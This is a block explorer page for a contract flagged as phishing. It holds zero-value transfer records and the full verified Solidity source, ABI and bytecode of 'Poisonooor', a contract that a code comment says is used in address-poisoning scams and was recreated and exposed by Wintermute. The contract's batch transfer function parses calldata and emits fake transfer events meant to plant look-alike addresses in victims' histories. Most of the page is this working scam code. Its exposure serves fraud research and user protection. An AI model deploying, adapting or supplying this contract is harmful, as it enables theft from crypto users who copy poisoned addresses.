ETH Price: $1,954.96 (-1.56%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer227829612025-06-25 17:31:23241 days ago1750872683IN
Fake_Phishing1232749
0 ETH0.000125023.92039273
Transfer227829592025-06-25 17:30:59241 days ago1750872659IN
Fake_Phishing1232749
0 ETH0.000114673.59586358
Transfer227829532025-06-25 17:29:47241 days ago1750872587IN
Fake_Phishing1232749
0 ETH0.000116663.65824105
Transfer227829482025-06-25 17:28:47241 days ago1750872527IN
Fake_Phishing1232749
0 ETH0.0001033.23013419
Transfer227829452025-06-25 17:28:11241 days ago1750872491IN
Fake_Phishing1232749
0 ETH0.00014643.50972199
Transfer227829372025-06-25 17:26:35241 days ago1750872395IN
Fake_Phishing1232749
0 ETH0.000159064.0576613
Transfer227829292025-06-25 17:24:59241 days ago1750872299IN
Fake_Phishing1232749
0 ETH0.000169324.31944792
Transfer227829262025-06-25 17:24:23241 days ago1750872263IN
Fake_Phishing1232749
0 ETH0.000128864.04085759
Transfer227829242025-06-25 17:23:59241 days ago1750872239IN
Fake_Phishing1232749
0 ETH0.00012073.78518881
Transfer227829212025-06-25 17:23:23241 days ago1750872203IN
Fake_Phishing1232749
0 ETH0.000191733.91207037
Transfer227829182025-06-25 17:22:47241 days ago1750872167IN
Fake_Phishing1232749
0 ETH0.000124363.90124752
Transfer227829072025-06-25 17:20:35241 days ago1750872035IN
Fake_Phishing1232749
0 ETH0.000118173.70560612
Transfer227828992025-06-25 17:18:59241 days ago1750871939IN
Fake_Phishing1232749
0 ETH0.000122653.84619845
Transfer227828862025-06-25 17:16:23241 days ago1750871783IN
Fake_Phishing1232749
0 ETH0.00012513.9215573
Transfer227828832025-06-25 17:15:47241 days ago1750871747IN
Fake_Phishing1232749
0 ETH0.00012373.87925937
Transfer227828782025-06-25 17:14:47241 days ago1750871687IN
Fake_Phishing1232749
0 ETH0.000127714.00481526
Transfer227828672025-06-25 17:12:35241 days ago1750871555IN
Fake_Phishing1232749
0 ETH0.000139724.3814398
Transfer227828482025-06-25 17:08:47241 days ago1750871327IN
Fake_Phishing1232749
0 ETH0.000119343.74253262
Transfer227828432025-06-25 17:07:47241 days ago1750871267IN
Fake_Phishing1232749
0 ETH0.000116443.65145617
Transfer227828402025-06-25 17:07:11241 days ago1750871231IN
Fake_Phishing1232749
0 ETH0.0001463.72444749
Transfer227828382025-06-25 17:06:47241 days ago1750871207IN
Fake_Phishing1232749
0 ETH0.000117953.69726184
Transfer227828292025-06-25 17:04:59241 days ago1750871099IN
Fake_Phishing1232749
0 ETH0.000161383.46985029
Transfer227828272025-06-25 17:04:35241 days ago1750871075IN
Fake_Phishing1232749
0 ETH0.000149723.81828276
Transfer227828242025-06-25 17:03:59241 days ago1750871039IN
Fake_Phishing1232749
0 ETH0.000153393.91184511
Transfer227828212025-06-25 17:03:23241 days ago1750871003IN
Fake_Phishing1232749
0 ETH0.000130254.08303025
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x6EC5Fa65...Aa73a50F9
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Poisonooor

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-06-19
*/

pragma solidity 0.8.26;

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract Poisonooor {

    /* 
        This contract is used by bad guys for the address poisoning scam to trick inattentive users into sending USDT/USDC to the wrong addresses
        Recreated and exposed by Wintermute

        DESCRIPTION OF HOW THIS SCAM WORKS:
        https://www.blockaid.io/blog/a-deep-dive-into-address-poisoning
    */

    using SafeERC20 for IERC20;

    mapping(address => mapping(address => uint256)) public mapping_4850931766;

    event Transferred(bytes32 indexed, address indexed, address indexed, uint256) anonymous;

    receive() external payable {}

    fallback() external payable {
        require(msg.value == 0, "Ether not accepted");
        transfer(address(0), 0);
    }

    function attemptTransfer(IERC20 token, address from, address to, uint256 amount) external {
        token.safeTransferFrom(from, to, amount);
    }

    function transfer(address, uint256) public returns (bool) {
        uint256 len = msg.data.length;
        require((len - 68) % 128 == 0, "Invalid call data length");
        uint256 iters = (len - 68) / 128;
        for (uint256 i = 0; i < iters; i++) {
            uint256 offset = 68 + i * 128;

            address from;
            address to;
            address token;
            uint256 amount;

            assembly {
                from := calldataload(offset)
                to := calldataload(add(offset, 32))
                token := calldataload(add(offset, 64))
                amount := calldataload(add(offset, 96))
            }

           try this.attemptTransfer(IERC20(from), to, token, amount) {
            emit Transferred(hex"c1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db", token, from, amount);
           } catch {
            mapping_4850931766[token][from] += amount;
           }
        }
        return true;
    }

}

library SafeERC20 {
  error SafeERC20FailedOperation(address token);

  function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
    _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
  }

  function _callOptionalReturn(IERC20 token, bytes memory data) private {
    uint256 returnSize;
    uint256 returnValue;
    assembly ("memory-safe") {
      let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
      if iszero(success) {
        let ptr := mload(0x40)
        returndatacopy(ptr, 0, returndatasize())
        revert(ptr, returndatasize())
      }
      returnSize := returndatasize()
      returnValue := mload(0)
    }
    if (returnSize == 0 ? address(token).code.length == 0 :  returnValue != 1) {
      revert SafeERC20FailedOperation(address(token));
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"SafeERC20FailedOperation","type":"error"},{"anonymous":true,"inputs":[{"indexed":true,"internalType":"bytes32","name":"","type":"bytes32"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transferred","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"attemptTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"mapping_4850931766","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x6080604052348015600e575f80fd5b5061055a8061001c5f395ff3fe608060405260043610610037575f3560e01c80631693074b14610092578063a9059cbb146100b1578063dbada5e9146100e55761003e565b3661003e57005b34156100865760405162461bcd60e51b8152602060048201526012602482015271115d1a195c881b9bdd081858d8d95c1d195960721b60448201526064015b60405180910390fd5b6100905f80610126565b005b34801561009d575f80fd5b506100906100ac3660046103ea565b6102f5565b3480156100bc575f80fd5b506100d06100cb366004610438565b610126565b60405190151581526020015b60405180910390f35b3480156100f0575f80fd5b506101186100ff366004610462565b5f60208181529281526040808220909352908152205481565b6040519081526020016100dc565b5f3660806101356044836104ad565b61013f91906104d4565b1561018c5760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642063616c6c2064617461206c656e6774680000000000000000604482015260640161007d565b5f608061019a6044846104ad565b6101a491906104e7565b90505f5b818110156102e7575f6101bc8260806104fa565b6101c7906044610511565b60408051631693074b60e01b81526001600160a01b0383358181166004840152602085013582811660248501529385013591821660448401526060850135606484018190529495509390913090631693074b906084015f604051808303815f87803b158015610234575f80fd5b505af1925050508015610245575060015b610288576001600160a01b038083165f908152602081815260408083209388168352929052908120805483929061027d908490610511565b909155506102d69050565b836001600160a01b0316826001600160a01b03167fc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db836040516102cd91815260200190565b60405180910390a35b5050600190930192506101a8915050565b506001925050505b92915050565b61030a6001600160a01b038516848484610310565b50505050565b604080516001600160a01b038581166024830152841660448201526064808201849052825180830390910181526084909101909152602080820180516001600160e01b03166323b872dd60e01b178152825161030a93889390925f9283929183919082885af180610386576040513d5f823e3d81fd5b50505f513d9150811561039d5780600114156103aa565b6001600160a01b0384163b155b1561030a57604051635274afe760e01b81526001600160a01b038516600482015260240161007d565b6001600160a01b03811681146103e7575f80fd5b50565b5f805f80608085870312156103fd575f80fd5b8435610408816103d3565b93506020850135610418816103d3565b92506040850135610428816103d3565b9396929550929360600135925050565b5f8060408385031215610449575f80fd5b8235610454816103d3565b946020939093013593505050565b5f8060408385031215610473575f80fd5b823561047e816103d3565b9150602083013561048e816103d3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102ef576102ef610499565b634e487b7160e01b5f52601260045260245ffd5b5f826104e2576104e26104c0565b500690565b5f826104f5576104f56104c0565b500490565b80820281158282048414176102ef576102ef610499565b808201808211156102ef576102ef61049956fea26469706673582212206da96ce497adb7a2e38e2c81df0082d71abd7f0303bc47dd2b2e2b291525512b64736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610037575f3560e01c80631693074b14610092578063a9059cbb146100b1578063dbada5e9146100e55761003e565b3661003e57005b34156100865760405162461bcd60e51b8152602060048201526012602482015271115d1a195c881b9bdd081858d8d95c1d195960721b60448201526064015b60405180910390fd5b6100905f80610126565b005b34801561009d575f80fd5b506100906100ac3660046103ea565b6102f5565b3480156100bc575f80fd5b506100d06100cb366004610438565b610126565b60405190151581526020015b60405180910390f35b3480156100f0575f80fd5b506101186100ff366004610462565b5f60208181529281526040808220909352908152205481565b6040519081526020016100dc565b5f3660806101356044836104ad565b61013f91906104d4565b1561018c5760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642063616c6c2064617461206c656e6774680000000000000000604482015260640161007d565b5f608061019a6044846104ad565b6101a491906104e7565b90505f5b818110156102e7575f6101bc8260806104fa565b6101c7906044610511565b60408051631693074b60e01b81526001600160a01b0383358181166004840152602085013582811660248501529385013591821660448401526060850135606484018190529495509390913090631693074b906084015f604051808303815f87803b158015610234575f80fd5b505af1925050508015610245575060015b610288576001600160a01b038083165f908152602081815260408083209388168352929052908120805483929061027d908490610511565b909155506102d69050565b836001600160a01b0316826001600160a01b03167fc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db836040516102cd91815260200190565b60405180910390a35b5050600190930192506101a8915050565b506001925050505b92915050565b61030a6001600160a01b038516848484610310565b50505050565b604080516001600160a01b038581166024830152841660448201526064808201849052825180830390910181526084909101909152602080820180516001600160e01b03166323b872dd60e01b178152825161030a93889390925f9283929183919082885af180610386576040513d5f823e3d81fd5b50505f513d9150811561039d5780600114156103aa565b6001600160a01b0384163b155b1561030a57604051635274afe760e01b81526001600160a01b038516600482015260240161007d565b6001600160a01b03811681146103e7575f80fd5b50565b5f805f80608085870312156103fd575f80fd5b8435610408816103d3565b93506020850135610418816103d3565b92506040850135610428816103d3565b9396929550929360600135925050565b5f8060408385031215610449575f80fd5b8235610454816103d3565b946020939093013593505050565b5f8060408385031215610473575f80fd5b823561047e816103d3565b9150602083013561048e816103d3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102ef576102ef610499565b634e487b7160e01b5f52601260045260245ffd5b5f826104e2576104e26104c0565b500690565b5f826104f5576104f56104c0565b500490565b80820281158282048414176102ef576102ef610499565b808201808211156102ef576102ef61049956fea26469706673582212206da96ce497adb7a2e38e2c81df0082d71abd7f0303bc47dd2b2e2b291525512b64736f6c634300081a0033

Deployed Bytecode Sourcemap

294:1901:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;951:9;:14;943:45;;;;-1:-1:-1;;;943:45:0;;216:2:1;943:45:0;;;198:21:1;255:2;235:18;;;228:30;-1:-1:-1;;;274:18:1;;;267:48;332:18;;943:45:0;;;;;;;;;999:23;1016:1;1020;999:8;:23::i;:::-;;1038:149;;;;;;;;;;-1:-1:-1;1038:149:0;;;;;:::i;:::-;;:::i;1195:995::-;;;;;;;;;;-1:-1:-1;1195:995:0;;;;;:::i;:::-;;:::i;:::-;;;1742:14:1;;1735:22;1717:41;;1705:2;1690:18;1195:995:0;;;;;;;;689:73;;;;;;;;;;-1:-1:-1;689:73:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;2324:25:1;;;2312:2;2297:18;689:73:0;2178:177:1;1195:995:0;1247:4;1278:8;1325:3;1313:8;1319:2;1278:8;1313;:::i;:::-;1312:16;;;;:::i;:::-;:21;1304:58;;;;-1:-1:-1;;;1304:58:0;;3076:2:1;1304:58:0;;;3058:21:1;3115:2;3095:18;;;3088:30;3154:26;3134:18;;;3127:54;3198:18;;1304:58:0;2874:348:1;1304:58:0;1373:13;1402:3;1390:8;1396:2;1390:3;:8;:::i;:::-;1389:16;;;;:::i;:::-;1373:32;;1421:9;1416:745;1440:5;1436:1;:9;1416:745;;;1467:14;1489:7;:1;1493:3;1489:7;:::i;:::-;1484:12;;:2;:12;:::i;:::-;1785:2;1880:53;;-1:-1:-1;;;1880:53:0;;-1:-1:-1;;;;;1660:20:0;;3917:32:1;;;1880:53:0;;;3899:51:1;1729:2:0;1717:15;;1704:29;3986:32:1;;;3966:18;;;3959:60;1773:15:0;;;1760:29;4055:32:1;;;4035:18;;;4028:60;1842:2:0;1830:15;;1817:29;4104:18:1;;;4097:34;;;1467:29:0;;-1:-1:-1;1660:20:0;1760:29;;1880:4;;:20;;3871:19:1;;1880:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1876:274;;-1:-1:-1;;;;;2094:25:0;;;:18;:25;;;;;;;;;;;:31;;;;;;;;;;;:41;;2129:6;;2094:18;:41;;2129:6;;2094:41;:::i;:::-;;;;-1:-1:-1;1876:274:0;;-1:-1:-1;1876:274:0;;2044:4;-1:-1:-1;;;;;1954:103:0;2037:5;-1:-1:-1;;;;;1954:103:0;;2050:6;1954:103;;;;2324:25:1;;2312:2;2297:18;;2178:177;1954:103:0;;;;;;;;1876:274;-1:-1:-1;;1447:3:0;;;;;-1:-1:-1;1416:745:0;;-1:-1:-1;;1416:745:0;;;2178:4;2171:11;;;;1195:995;;;;;:::o;1038:149::-;1139:40;-1:-1:-1;;;;;1139:22:0;;1162:4;1168:2;1172:6;1139:22;:40::i;:::-;1038:149;;;;:::o;2274:184::-;2398:53;;;-1:-1:-1;;;;;4362:32:1;;;2398:53:0;;;4344:51:1;4431:32;;4411:18;;;4404:60;4480:18;;;;4473:34;;;2398:53:0;;;;;;;;;;4317:18:1;;;;2398:53:0;;;;;;;;;-1:-1:-1;;;;;2398:53:0;-1:-1:-1;;;2398:53:0;;;2680:11;;2371:81;;2391:5;;2398:53;;-1:-1:-1;;;;2398:53:0;-1:-1:-1;;2680:11:0;-1:-1:-1;2391:5:0;2646;2641:60;2719:7;2709:150;;2756:4;2750:11;2794:16;2791:1;2786:3;2771:40;2833:16;2828:3;2821:29;2709:150;-1:-1:-1;;2926:1:0;2920:8;2881:16;;-1:-1:-1;2945:15:0;;:69;;2998:11;3013:1;2998:16;;2945:69;;;-1:-1:-1;;;;;2963:26:0;;;:31;2945:69;2941:139;;;3032:40;;-1:-1:-1;;;3032:40:0;;-1:-1:-1;;;;;4682:32:1;;3032:40:0;;;4664:51:1;4637:18;;3032:40:0;4518:203:1;361:139;-1:-1:-1;;;;;444:31:1;;434:42;;424:70;;490:1;487;480:12;424:70;361:139;:::o;505:687::-;604:6;612;620;628;681:3;669:9;660:7;656:23;652:33;649:53;;;698:1;695;688:12;649:53;737:9;724:23;756:39;789:5;756:39;:::i;:::-;814:5;-1:-1:-1;871:2:1;856:18;;843:32;884:41;843:32;884:41;:::i;:::-;944:7;-1:-1:-1;1003:2:1;988:18;;975:32;1016:41;975:32;1016:41;:::i;:::-;505:687;;;;-1:-1:-1;1076:7:1;;1156:2;1141:18;1128:32;;-1:-1:-1;;505:687:1:o;1197:375::-;1265:6;1273;1326:2;1314:9;1305:7;1301:23;1297:32;1294:52;;;1342:1;1339;1332:12;1294:52;1381:9;1368:23;1400:39;1433:5;1400:39;:::i;:::-;1458:5;1536:2;1521:18;;;;1508:32;;-1:-1:-1;;;1197:375:1:o;1769:404::-;1837:6;1845;1898:2;1886:9;1877:7;1873:23;1869:32;1866:52;;;1914:1;1911;1904:12;1866:52;1953:9;1940:23;1972:39;2005:5;1972:39;:::i;:::-;2030:5;-1:-1:-1;2087:2:1;2072:18;;2059:32;2100:41;2059:32;2100:41;:::i;:::-;2160:7;2150:17;;;1769:404;;;;;:::o;2360:127::-;2421:10;2416:3;2412:20;2409:1;2402:31;2452:4;2449:1;2442:15;2476:4;2473:1;2466:15;2492:128;2559:9;;;2580:11;;;2577:37;;;2594:18;;:::i;2625:127::-;2686:10;2681:3;2677:20;2674:1;2667:31;2717:4;2714:1;2707:15;2741:4;2738:1;2731:15;2757:112;2789:1;2815;2805:35;;2820:18;;:::i;:::-;-1:-1:-1;2854:9:1;;2757:112::o;3227:120::-;3267:1;3293;3283:35;;3298:18;;:::i;:::-;-1:-1:-1;3332:9:1;;3227:120::o;3352:168::-;3425:9;;;3456;;3473:15;;;3467:22;;3453:37;3443:71;;3494:18;;:::i;3525:125::-;3590:9;;;3611:10;;;3608:36;;;3624:18;;:::i

Swarm Source

ipfs://6da96ce497adb7a2e38e2c81df0082d71abd7f0303bc47dd2b2e2b291525512b

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.